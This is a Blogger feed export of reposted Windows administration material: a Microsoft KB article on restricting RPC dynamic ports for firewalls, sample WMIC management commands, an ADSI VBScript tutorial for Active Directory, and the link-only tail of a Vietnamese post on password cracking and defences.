/&gt;_http://forum.itlab.com.vn/forum/showthread.php?t=478&lt;br /&gt;&lt;br /&gt;Pass mặc định của diễn đàn: www.itlab.com.vn&lt;br /&gt;&lt;br /&gt;Phần mềm dùng để nối file: FFSJ&lt;br /&gt;&lt;br /&gt;_http://www.jaist.ac.jp/~hoangle/filesj/index.html &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;url:http://forum.itlab.com.vn/forum/showthread.php?t=4299&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-625981561995704619?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/625981561995704619/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=625981561995704619' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/625981561995704619'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/625981561995704619'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/gii-thiu-cc-phng-thc-crck-passwords-cch.html' title='Giới thiệu các phương thức Cr@ck Passwords - Cách đề phòng'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-4584324604009555991</id><published>2008-09-25T21:28:00.000-07:00</published><updated>2008-09-25T21:29:38.616-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Firewall Settings'/><category scheme='http://www.blogger.com/atom/ns#' term='RPC port'/><category scheme='http://www.blogger.com/atom/ns#' term='Windows XP'/><title type='text'>How to configure RPC dynamic port allocation to work with firewalls</title><content type='html'>url:http://support.microsoft.com/kb/154596&lt;br /&gt;&lt;br /&gt;How to configure RPC dynamic port allocation to work with firewalls&lt;br /&gt;View products that this article applies to.&lt;br /&gt;Article ID : 154596&lt;br /&gt;Last Review : October 26, 2007&lt;br /&gt;Revision : 14.3&lt;br /&gt;This article was previously published under Q154596&lt;br /&gt;SUMMARY&lt;br /&gt;Remote Procedure Call (RPC) dynamic port allocation is used by remote administration applications such as Dynamic Host Configuration Protocol (DHCP) Manager, Windows Internet Name Service (WINS) Manager, and so on. RPC dynamic port allocation will instruct the RPC program to use a particular random port above 1024.&lt;br /&gt;&lt;br /&gt;Customers using firewalls may want to control which ports RPC is using so that their firewall router can be configured to forward only these Transmission Control Protocol (TCP) ports.&lt;br /&gt;&lt;br /&gt;Many RPC servers in Windows let you specify the server port. When you can specify a dedicated server port, you know what traffic flows between the hosts across the firewall, and you can define the that is traffic allowed much better. You can find a comprehensive list of Server ports that are used in Windows and major Microsoft products can be found in Microsoft Knowledge Base article 832017. For more information, click the following article number to view the article in the Microsoft Knowledge Base:&lt;br /&gt;832017 (http://support.microsoft.com/kb/832017/) Service overview and network port requirements for the Windows Server system&lt;br /&gt;The article also lists the RPC servers and which RPC servers can be configured to use custom server ports beyond the facilities that RPC offers. Use the method that is described in this article only if the RPC server does not offer a way to define the server port.&lt;br /&gt;&lt;br /&gt;The following registry entries apply to Windows NT 4.0 and above. They do not apply to previous versions of Windows NT. Even though you can configure the port used by the client to communicate with the server, the client must be able to reach the server by its actual IP address. You cannot use DCOM through firewalls that do address translation (e.g. where a client connects to virtual address 198.252.145.1, which the firewall maps transparently to the server's actual address of, say, 192.100.81.101). This is because DCOM stores raw IP addresses in the interface marshaling packets and if the client cannot connect to the address specified in the packet, it will not work.&lt;br /&gt;&lt;br /&gt;For more information, see the Microsoft white paper Using Distributed COM with Firewalls. To do this, visit the following Microsoft Web site:&lt;br /&gt;http://msdn2.microsoft.com/en-us/library/ms809327.aspx (http://msdn2.microsoft.com/en-us/library/ms809327.aspx)&lt;br /&gt;&lt;br /&gt;Back to the top&lt;br /&gt;MORE INFORMATION&lt;br /&gt;The values (and Internet key) discussed below do not appear in the registry; they must be added manually using the Registry Editor. Also, note that you must use Regedt32.exe instead of Regedit.exe to add the REG_MULTI_SZ value.&lt;br /&gt;&lt;br /&gt;Important This section, method, or task contains steps that tell you how to modify the registry. However, serious problems might occur if you modify the registry incorrectly. Therefore, make sure that you follow these steps carefully. For added protection, back up the registry before you modify it. Then, you can restore the registry if a problem occurs. For more information about how to back up and restore the registry, click the following article number to view the article in the Microsoft Knowledge Base:&lt;br /&gt;322756 (http://support.microsoft.com/kb/322756/) How to back up and restore the registry in Windows&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;With Registry Editor, you can modify the following parameters for RPC. The RPC Port key values discussed below are all located in the following key in the registry: HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Internet\ Key Data Type&lt;br /&gt;&lt;br /&gt;Ports REG_MULTI_SZ&lt;br /&gt;Specifies a set of IP port ranges consisting of either all the ports available from the Internet or all the ports not available from the Internet. Each string represents a single port or an inclusive set of ports. For example, a single port may be represented by 5984, and a set of ports may be represented by 5000-5100. If any entries are outside the range of 0 to 65535, or if any string cannot be interpreted, the RPC runtime treats the entire configuration as invalid.&lt;br /&gt;PortsInternetAvailable REG_SZ Y or N (not case-sensitive)&lt;br /&gt;If Y, the ports listed in the Ports key are all the Internet-available ports on that computer. If N, the ports listed in the Ports key are all those ports that are not Internet-available.&lt;br /&gt;UseInternetPorts REG_SZ ) Y or N (not case-sensitive&lt;br /&gt;Specifies the system default policy.&lt;br /&gt;If Y, the processes using the default will be assigned ports from the set of Internet-available ports, as defined previously.&lt;br /&gt;If N, the processes using the default will be assigned ports from the set of intranet-only ports.&lt;br /&gt;Example:&lt;br /&gt;1. Add the Internet key under: HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc&lt;br /&gt;2. Under the Internet key, add the values "Ports" (MULTI_SZ), "PortsInternetAvailable" (REG_SZ), and "UseInternetPorts" (REG_SZ).&lt;br /&gt;&lt;br /&gt;In this example ports 5000 through 5100 inclusive have been arbitrarily selected to help illustrate how the new registry key can be configured. For example, the new registry key appears as follows:&lt;br /&gt;Ports: REG_MULTI_SZ: 5000-5100&lt;br /&gt;PortsInternetAvailable: REG_SZ: Y&lt;br /&gt;UseInternetPorts: REG_SZ: Y&lt;br /&gt;3. Restart the server. All applications that use RPC dynamic port allocation use ports 5000 through 5100, inclusive. In most environments, a minimum of 100 ports should be opened, because several system services rely on these RPC ports to communicate with each other.&lt;br /&gt;You should open up a range of ports above port 5000. Port numbers below 5000 may already be in use by other applications and could cause conflicts with your DCOM application(s). Furthermore, previous experience shows that a minimum of 100 ports should be opened, because several system services rely on these RPC ports to communicate with each other.&lt;br /&gt;&lt;br /&gt;Note The minimum number of ports may differ from computer to computer and depends on the configuration of the computer.&lt;br /&gt;&lt;br /&gt;Back to the top&lt;br /&gt;For more information, click the following article numbers to view the articles in the Microsoft Knowledge Base:&lt;br /&gt;167128 (http://support.microsoft.com/kb/167128/) Network ports used by remote helpdesk functions&lt;br /&gt;179442 (http://support.microsoft.com/kb/179442/) How to configure a firewall for domains and trusts&lt;br /&gt;263293 (http://support.microsoft.com/kb/263293/) Windows 2000 NAT does not translate Netlogon traffic&lt;br /&gt;319553 (http://support.microsoft.com/kb/319553/) How to restrict FRS replication traffic to a specific static port&lt;br /&gt;224196 (http://support.microsoft.com/kb/224196/) Restricting Active Directory replication traffic and client RPC traffic to a specific port&lt;br /&gt;If you use Windows Server 2003, you can use the RPC Configuration Tool (RPCCfg.exe) from the Windows Server 2003 Resource Kit to complete the process that is described in this article. To obtain the RPC Configuration Tool, visit the following Microsoft Web site:&lt;br /&gt;http://www.microsoft.com/downloads/details.aspx?FamilyID=0f9cde2f-8632-4da8-ae70-645e1ddaf369&amp;DisplayLang=en (http://www.microsoft.com/downloads/details.aspx?FamilyID=0f9cde2f-8632-4da8-ae70-645e1ddaf369&amp;DisplayLang=en)&lt;br /&gt;&lt;br /&gt;Back to the top&lt;br /&gt;APPLIES TO&lt;br /&gt;• Microsoft Windows Server 2003, Standard Edition (32-bit x86)&lt;br /&gt;• Microsoft Windows Server 2003, Enterprise Edition (32-bit x86)&lt;br /&gt;• Microsoft Windows Server 2003, Datacenter Edition (32-bit x86)&lt;br /&gt;• Microsoft Windows Server 2003, Enterprise Edition for Itanium-based Systems&lt;br /&gt;• Microsoft Windows Server 2003, Datacenter Edition for Itanium-Based Systems&lt;br /&gt;• Microsoft Windows 2000 Professional Edition&lt;br /&gt;• Microsoft Windows 2000 Server&lt;br /&gt;• Microsoft Windows 2000 Advanced Server&lt;br /&gt;• Microsoft Windows 2000 Datacenter Server&lt;br /&gt;• Microsoft Windows NT Server 4.0 Standard Edition&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-4584324604009555991?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/4584324604009555991/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=4584324604009555991' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4584324604009555991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4584324604009555991'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/how-to-configure-rpc-dynamic-port.html' title='How to configure RPC dynamic port allocation to work with firewalls'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-4581689174425674918</id><published>2008-09-25T21:22:00.000-07:00</published><updated>2008-09-25T21:28:38.028-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='WMIC'/><title type='text'>WMIC Samples</title><content type='html'>WMIC Samples&lt;br /&gt;url:http://blogs.technet.com/jhoward/archive/2005/02/23/378726.aspx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As promised, here are the sample WMIC commands I demonstrated in the Automating Windows Server 2003 session yesterday evening in Reading. Hope they are useful to you.&lt;br /&gt;&lt;br /&gt;Update static IP address&lt;br /&gt;wmic nicconfig where index=9 call enablestatic("192.168.16.4"), ("255.255.255.0")&lt;br /&gt;&lt;br /&gt;Change network gateway&lt;br /&gt;wmic nicconfig where index=9 call setgateways("192.168.16.4", "192.168.16.5"),(1,2)&lt;br /&gt;&lt;br /&gt;Enable DHCP&lt;br /&gt;wmic nicconfig where index=9 call enabledhcp&lt;br /&gt;&lt;br /&gt;Service Management&lt;br /&gt;wmic service where caption="DHCP Client" call changestartmode "Disabled"&lt;br /&gt;&lt;br /&gt;Start an application&lt;br /&gt;wmic process call create "calc.exe"&lt;br /&gt;&lt;br /&gt;Terminate an application&lt;br /&gt;wmic process where name="calc.exe" call terminate&lt;br /&gt;&lt;br /&gt;Change process priority&lt;br /&gt;wmic process where name="explorer.exe" call setpriority 64&lt;br /&gt;&lt;br /&gt;Get list of process identifiers&lt;br /&gt;wmic process where (Name='svchost.exe') get name,processid&lt;br /&gt;&lt;br /&gt;Information about harddrives&lt;br /&gt;wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber&lt;br /&gt;&lt;br /&gt;Information about os&lt;br /&gt;wmic os get bootdevice, buildnumber, caption, freespaceinpagingfiles, installdate, name, systemdrive, windowsdirectory /format:htable &gt; c:\osinfo.htm&lt;br /&gt;&lt;br /&gt;Information about files&lt;br /&gt;wmic path cim_datafile where "Path='\\windows\\system32\\wbem\\' and FileSize&gt;1784088" &gt; c:\wbemfiles.txt&lt;br /&gt;&lt;br /&gt;Process list&lt;br /&gt;wmic process get /format:htable &gt; c:\process.htm&lt;br /&gt;&lt;br /&gt;Retrieve list of warning and error events not from system or security logs&lt;br /&gt;WMIC NTEVENT WHERE "EventType&lt;3 AND LogFile != 'System' AND LogFile != 'Security'" GET LogFile, SourceName, EventType, Message, TimeGenerated /FORMAT:"htable.xsl":" datatype = number":" sortby = EventType" &gt; c:\appevent.htm&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7839070010570067615-4581689174425674918?l=nhim11.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nhim11.blogspot.com/feeds/4581689174425674918/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7839070010570067615&amp;postID=4581689174425674918' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4581689174425674918'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7839070010570067615/posts/default/4581689174425674918'/><link rel='alternate' type='text/html' href='http://nhim11.blogspot.com/2008/09/wmic-samples.html' title='WMIC Samples'/><author><name>DaiCa</name><uri>http://www.blogger.com/profile/04194429836072295672</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7839070010570067615.post-2369129969734989105</id><published>2008-09-23T21:10:00.000-07:00</published><updated>2008-09-23T21:17:21.016-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VBScript'/><category scheme='http://www.blogger.com/atom/ns#' term='Active Directory Service Interfaces (ADSI)'/><title type='text'>Active Directory Service Interfaces (ADSI) Benefits</title><content type='html'>url:http://www.activexperts.com/activmonitor/windowsmanagement/adsi/&lt;br /&gt;&lt;br /&gt;Active Directory Service Interfaces (ADSI) Benefits&lt;br /&gt;&lt;br /&gt;    ADSI Basics&lt;br /&gt;Active Directory Services Interface (ADSI) is a set of COM (Common Object Model) programming Interfaces. Like ODBC, ADSI provides common access to directories by adding a provider for each directory protocol type.&lt;br /&gt;Windows 2000 contains providers for:&lt;br /&gt;&lt;br /&gt;    * WinNT – access to Windows NT 3.51 and Windows NT4;&lt;br /&gt;    * LDAP – LDAP directories including Windows 2000 Active Directory, Site Server 3.0, Microsoft Exchange and third party LDAP servers;&lt;br /&gt;    * NDS – Novell NDS.&lt;br /&gt;&lt;br /&gt;Benefits of accessing directories with ADSI:&lt;br /&gt;&lt;br /&gt;    * Open Architecture – Any directory provider can implement an ADSI interface;&lt;br /&gt;    * Directory Service Independent – Applications are not bound to a vendor's proprietary directory service since it is using an API;&lt;br /&gt;    * Security – ADSI supports authentication.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ADSI Architecture&lt;br /&gt;ADSI objects are COM objects, which represent objects in an underlying directory service. Objects can be container objects (like Folders) or Leaf objects (like Files). Each object has a unique ADSI path – a provider name followed by an object path. ADSI provides an abstract schema which describes the type of objects and attributes supported by each provider. Objects are read into cache when GetInfo or GetObject are called. Changes reside in cached memory on the client until a SetInfo is issued. SetInfo writes data back to the underlying directory store.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;LDAP provider and serverless binding&lt;br /&gt;The preferred method for connecting to an object is to use serverless binding; this means that the server is not explicitly provided; the default domain controller is the source of the LDAP requests. If the requested operations cannot be serviced in the local domain, a referral to the correct server is generated when possible, and the closest server is given.&lt;br /&gt;A serverless path is of the form LDAP://object. To bind to the domain DNS object which is the root container of the domain naming context:&lt;br /&gt;&lt;br /&gt;Set Odse = GetObject( "LDAP//DC=corp,DC=Microsoft,DC=com")&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;RootDse&lt;br /&gt;The RootDse is a special LDAP object that exists on all LDAP v3 servers. With it you can write scripts that are independent of the domain or enterprise on whih they are run:&lt;br /&gt;&lt;br /&gt;Set Odse = GetObject( "LDAP://RootDse" )&lt;br /&gt;&lt;br /&gt;For example, to reference an object in the current domain you can read the value for DefaultNamingContext to determine the current domain:&lt;br /&gt;&lt;br /&gt;' Get path to the configuration naming context.&lt;br /&gt;Set RootDse = GetObject( "LDAP//RootDse" )&lt;br /&gt;Path = "LDAP://" &amp; RootDse.get( "DefaultNamingContext" )&lt;br /&gt;&lt;br /&gt;Domain-based information such as users, groups, and computers resides in the domain naming context. Enterprise configuration information such as sites and subnets can be found in the Configuration Naming context. You can learn the path to naming contexts by examining ConfigurationNamingContext and SchemaNamingContext.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Non-windows 2000 clients&lt;br /&gt;ADSI serverless binding is not avalable on Windows NT4 or Windows 98, so on these platforms you must always supply the name of an LDAP server for the connections:&lt;br /&gt;&lt;br /&gt;Set Odse = GetObject( "LDAP//servername/RootDse" )&lt;br /&gt;&lt;br /&gt;Using the Global Catalog&lt;br /&gt;A global catalog (GC) server is a domain controller that contains a partial read-only replica of every object in every naming context. The replica is used to quickly search the enterprise for an object. The GC contains all objects from all naming contexts, but it is partial in that it contains only attributes designated for replication to the GC. The GC is accessed using port 3268 or by the GC provider as alias. In ADSI any reference to the GC is mapped to the LDAP provider on port 3268. Some of the common uses for searching the GC are:&lt;br /&gt;&lt;br /&gt;    * Finding user's address book information;&lt;br /&gt;    * Looking up members of a universal group;&lt;br /&gt;    * Mapping the User Principal Name to a specific User Account.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Reading an object&lt;br /&gt;To read an object you must first use GetObject to bind to it:&lt;br /&gt;&lt;br /&gt;Set objUser = GetObject( "LDAP://CN=wjohnson;CN=Users;DC=klm,DC=com" )&lt;br /&gt;&lt;br /&gt;This fills the object cache in the client's memory with the object's attributes. You can access each attribute by it's name:&lt;br /&gt;&lt;br /&gt;WScript.Echo objUser.givenName &amp; " " &amp; objUser.sn &amp; " " &amp; objUser.mail&lt;br /&gt;Set objUser = Nothing&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; Updating an object&lt;br /&gt;To update attributes on an existing object, you have to first bind to the object with GetObject, set each attribute's value (to update the values in the local object cache on the client), then issue a SetInfo to write the changes back to the directory. This example sets the mail address and the user's last name on user account:&lt;br /&gt;&lt;br /&gt;Set objUser  = GetObject( "LDAP://CN=wjohnson,CN=User,DC=klm,DC=com" )&lt;br /&gt;objUser.mail = "wjohnson@klm.com"&lt;br /&gt;objUser.sn = "wjohnson"&lt;br /&gt;objUser.SetInfo&lt;br /&gt;Set objUser = Nothing&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enumerating a container&lt;br /&gt;To enumerate a container such as on OU, first bind to the OU and then use a loop to enumerate the container's object. To list all objects in the Users container:&lt;br /&gt;&lt;br /&gt;Set ou = GetObject( "LDAP://CN=Users,DC=klm,DC=com" )&lt;br /&gt;For each obj in ou&lt;br /&gt;    WScript.Echo obj.Name&lt;br /&gt;Next&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Searching&lt;br /&gt;OLE DB provides a common way to query for information in a database-like way. The ADSI OLE DB provider allows you to use ActiveX Data Object (ADOs) to search the Active Directory. The provider is read-only, so if you need to modify an object after you search for it, use GetObject with the AdsPath&lt;br /&gt;To search the Active Directory you must first create the ADO connection and command objects:&lt;br /&gt;&lt;br /&gt;' list all objects in the domain naming context&lt;br /&gt;Dim con, rs, Com&lt;br /&gt;Set con = WScript.CreateObject( "ADODB.Connection" )&lt;br /&gt;Set com = WScript.CreateObject( "ADODB.Command" )&lt;br /&gt;&lt;br /&gt;Next, open the ADO provider:&lt;br /&gt;&lt;br /&gt;' Open a connection object&lt;br /&gt;con.Provider = "ADsDSObject"&lt;br /&gt;con.Open "Active Directory Provider"&lt;br /&gt;&lt;br /&gt;Then set the command object to use the current connection object, and build the query using either a simple SQL format or the LDAP search filter format (used in the example below). The query specifies the search's starting path and a filter for matching (the sample below looks for any type of object). Then list the attributes you want the query to return. Finally, specify the depth of the search: subtree for a deep search, base for a single object, or one level for searching a container.&lt;br /&gt;&lt;br /&gt;Set Com.ActiveConnection = con&lt;br /&gt;Com.CommandText = "&lt;GC://DC=hq,DC=klm,DC=com&gt;;(objectClass=*);adspath;subtree"&lt;br /&gt;&lt;br /&gt;' Set the preferences for Search&lt;br /&gt;&lt;br /&gt;Com.Properties( "Page Size" ) = 512&lt;br /&gt;Com.Properties( "TimeOut" ) = 30 ' seconds&lt;br /&gt;&lt;br /&gt;When you execute the query, the results are retuned in a recordset. Loop through the recordset and print out the value, then move on to the next record.&lt;br /&gt;&lt;br /&gt;While Not rs.EOF&lt;br /&gt;    WScript.Echo rs.Fields( "AdsPath").Value&lt;br /&gt;    Rs.MoveNext&lt;br /&gt;Wend&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Managing Domain Information&lt;br /&gt;&lt;br /&gt;Extracting Computer Information&lt;br /&gt;Network Administrators have always wanted an easy way to get a list of network workstations along with operating system and service pack information. You can now do this by using new attributes on Windows 2000 computer accounts to identify the computer's current status. The computer object is now automatically updated with information (from the netlogon service during secure channel setup) about the client's operating system, operating system version, and service pack level. You can identify unused or possibly inactive computer accounts; accounts that have never been used do not have the operating system and version attributes set. If the whenChanged attribute is more than a month old, the computer probably is not active on a network making periodic password changes. The whenChanged attribute is a non-replicated attribute which means it is calculated on each DC. The lastLogon attribute is not replicated between DCs; to determine the last logon time you have to examine it on all DCs.&lt;br /&gt;&lt;br /&gt;Attrinbutes of interest:&lt;br /&gt;&lt;br /&gt;    * Name – Computer name&lt;br /&gt;    * dnsHostName – Full DNS hostname of the machine;&lt;br /&gt;    * UserAccountControl – Type of account: ADS_UF_WORKSTATION_TRUST_ACCOUNT, ADS_UF_SERVER_TRUST_ACCOUNT;&lt;br /&gt;    * operatingSystem – Windows NT, Windows 2000 Server, Windows 2000 Professional;&lt;br /&gt;    * operatingSystemVersion – Operating system version and build;&lt;br /&gt;    * operatingSystemServicePack – Operating system service pack numbe;r&lt;br /&gt;    * operatingSystemHotfix – List of hotfixes;&lt;br /&gt;    * whenCreated – When the object was created;&lt;br /&gt;    * whenChanged – When the object was modified.&lt;br /&gt;&lt;br /&gt;Locating Computers Based on Computer Account Attributes:&lt;br /&gt;&lt;br /&gt;Const ADS_SCOPE_SUBTREE = 2&lt;br /&gt;Set objConnection = CreateObject("ADODB.Connection")&lt;br /&gt;Set objCommand =   CreateObject("ADODB.Command")&lt;br /&gt;objConnection.Provider = "ADsDSOObject"&lt;br /&gt;objConnection.Open "Active Directory Provider"&lt;br /&gt;Set objCommand.ActiveConnection = objConnection&lt;br /&gt;objCommand.CommandText = _&lt;br /&gt;    "SELECT Name, Location, operatingSystemVersion FROM " _&lt;br /&gt;    &amp; "'LDAP://DC=fabrikam,DC=com' WHERE objectClass='computer' " _&lt;br /&gt;    &amp; "and operatingSystemVersion = '5.0 (2195)'"&lt;br /&gt;objCommand.Properties("Page Size") = 1000&lt;br /&gt;objCommand.Properties("Timeout") = 30&lt;br /&gt;objCommand.Properties("Searchscope") = ADS_SCOPE_SUBTREE&lt;br /&gt;objCommand.Properties("Cache Results") = False&lt;br /&gt;Set objRecordSet = objCommand.Execute&lt;br /&gt;objRecordSet.MoveFirst&lt;br /&gt;Do Until objRecordSet.EOF&lt;br /&gt;    Wscript.Echo "Computer Name: " &amp; objRecordSet.Fields("Name").Value&lt;br /&gt;    Wscript.Echo "Location: " &amp; objRecordSet.Fields("Location").Value&lt;br /&gt;    objRecordSet.MoveNext&lt;br /&gt;Loop&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Trust Relation Ships&lt;br /&gt;When you want to document your configuration, it is useful to have a list of all domain trust relation ships, especially during migrations, when you usually have a mix of trusts between Windows 2000 domains. Windows NT account domains, and Windows NT 4.0 resource domains. Each trust relationship in a domain has a trusted domain object that resides in the System container in the Domain naming context:&lt;br /&gt;&lt;br /&gt;    * flatName – The NetBIOS name of the domain for this trust;&lt;br /&gt;    * trustDirection – The direction of the established trust relationship: 0=disabled; 1=inbound; 2=outbound; 3=both (trusted and trusting);&lt;br /&gt;    * trustPartner – A string representing the DNS-style name of Windows 2000 domains or the NetBIOS name of down-level trust domains;&lt;br /&gt;    * trustType – The type of trust relationship established to the domain: 1=downlevel trust; 2=Windows 2000 trust; 3=MIT; 4=DCE.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Creating User Accounts&lt;br /&gt;When creating a new user account, you must set the CN (unique in the account's OU) and Samaccountname (unique in the domain) attributes. The userPrincipalName attribute (unique in the enterprise) is optional. To create a new user in the OU:&lt;br /&gt;&lt;br /&gt;Dim salesOU as IADsContainer&lt;br /&gt;Set salesOU = GetObject("LDAP://OU=Sales,DC=Fabrikam,DC=COM")&lt;br /&gt;Set usr = salesOU.Create("user", "CN=Jay Adams")&lt;br /&gt;usr.Put "sAMAccountName", "jayadams"&lt;br /&gt;usr.Put "userPrincipalName", "jayadams@fabrikam.com" &lt;br /&gt;usr.Put "title", "Marketing Manager"&lt;br /&gt;usr.SetInfo&lt;br /&gt;&lt;br /&gt;usr.SetPassword "seahorse"&lt;br /&gt;usr.AccountDisabled = False&lt;br /&gt;usr.SetInfo&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Creating Groups&lt;br /&gt;There are three scopes for groups:&lt;br /&gt;&lt;br /&gt;    * Universal;&lt;br /&gt;    * Global;&lt;br /&gt;    * Domain Local.&lt;br /&gt;&lt;br /&gt;Groups are of these types:&lt;br /&gt;&lt;br /&gt;    * Security – To control access to resources, and to use them as e-mail distribution lists;&lt;br /&gt;    * Distribution – Only used for e-mail distribution lists.&lt;br /&gt;&lt;br /&gt;Group type is required. Specify an integer that contains the flags that specify the group type and scope using these combinations:&lt;br /&gt;&lt;br /&gt;    * Global security – ADS_GROUP_TYPE_GLOBAL_GROUP | ADS_GROUP_TYPE_SECURITY_ENABLED;&lt;br /&gt;    * Domain local security – ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP | ADS_GROUP_TYPE_SECURITY_ENABLED;&lt;br /&gt;    * Universal security – ADS_GROUP_TYPE_UNIVERSAL_GROUP | ADS_GROUP_TYPE_SECURITY_ENABLED;&lt;br /&gt;    * Domain local distribution – ADS_GROUP_TYPE_DOMAIN_LOCAL_GROUP;&lt;br /&gt;    * Universal Distribution – ADS_GROUP_TYPE_DOMAIN_UNIVERSAL_GROUP.&lt;br /&gt;&lt;br /&gt;The process of creating a group is similar to other objects. First bind to the OU which will contain the group. Next create the group object. Then set the group type, and samAccountName for down-level clients.&lt;br /&gt;&lt;br /&gt;Set ou = GetObject( "LDAP://OU=DSys,DC=Northwind,DC=tld" )&lt;br /&gt;Set grp = ou.Create( "group", "CN=Distributed System Admin" )&lt;br /&gt;&lt;br /&gt;' Creating a domain local group&lt;br /&gt;grp.Put "groupType", ADS_GROUP_TYPE_LOCAL Or ADS_GROUP_TYPE_SECURITY_ENABLED&lt;br /&gt;grp.Put "samAccountName", "DSysAdmin"&lt;br /&gt;grp.SetInfo&lt;br /&gt;&lt;br /&gt;Use the add method to add members to a group using the path to the user's object.&lt;br /&gt;&lt;br /&gt;' Adding a user to a group&lt;br /&gt;grp.Add( "LDAP://CN=James Smith,OU=Marketing,OU=DSys,DC=Northwind,DC=tld" )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Managing Enterprise Configuration Information&lt;br /&gt;Configuration information is global information shared among all domains in the enterprise and usually managed by the enterprise administrator.&lt;br /&gt;&lt;br /&gt;Partitions&lt;br /&gt;The partitions container's crossRef objects list the enterprise naming contexts – one for Configuration, one for Schema and one for each Domain. You can add objects to point to partitions on other LDAP servers that are not part of the enterprise, in which case you generate an LDAP referral to the proper partition when requesting an object from that portion of the namespace.&lt;br /&gt;&lt;br /&gt;This script enumerates crossRef objects in the partitions container:&lt;br /&gt;&lt;br /&gt;On Error Resume Next&lt;br /&gt; &lt;br /&gt;msgbox "This script enumerates crossRef objects in the partitions container."&lt;br /&gt; &lt;br /&gt;sPrefix = "LDAP://"&lt;br /&gt; &lt;br /&gt;' Get distinguished name for config container and build ADsPath to partitions container.&lt;br /&gt;Set root= GetObject(sPrefix &amp; "rootDSE")&lt;br /&gt;If (Err.Number &lt;&gt; 0) Then&lt;br /&gt;    BailOnFailure Err.Number, "on GetObject method for rootDSE"&lt;br /&gt;End If&lt;br /&gt;sConfigDN = root.Get("configurationNamingContext")&lt;br /&gt;If (Err.Number &lt;&gt; 0) Then&lt;br /&gt;    BailOnFailure Err.Number, "on Get method"&lt;br /&gt;End If&lt;br /&gt;sContainerDN = "cn=Partitions," &amp; sConfigDN&lt;br /&gt; &lt;br /&gt;'''''''''''''''''''''''''''''''''''''''&lt;br /&gt;' Bind to the container&lt;br /&gt;'''''''''''''''''''''''''''''''''''''''&lt;br /&gt;Set cont= GetObject(sPrefix &amp; sContainerDN)&lt;br /&gt;If (Err.Number &lt;&gt; 0) Then&lt;br /&gt;    BailOnFailure Err.Number, "on GetObject method for partitions container"&lt;br /&gt;End If&lt;br /&gt;'''''''''''''''''''''''''''''''''''''''&lt;br /&gt;' Enumerate the container.&lt;br /&gt;''''''''''''''''''''''''''''''''''''''&lt;br /&gt;For Each obj In cont&lt;br /&gt;    strText = strText &amp; "Name: " &amp; obj.Get("name") &amp; vbCrLf&lt;br /&gt;    values = obj.GetEx("objectClass")&lt;br /&gt;    For Each value In values&lt;br /&gt;       sValue = value&lt;br /&gt;    Next&lt;br /&gt;    strText = strText &amp; "  objectClass: " &amp; sValue &amp; 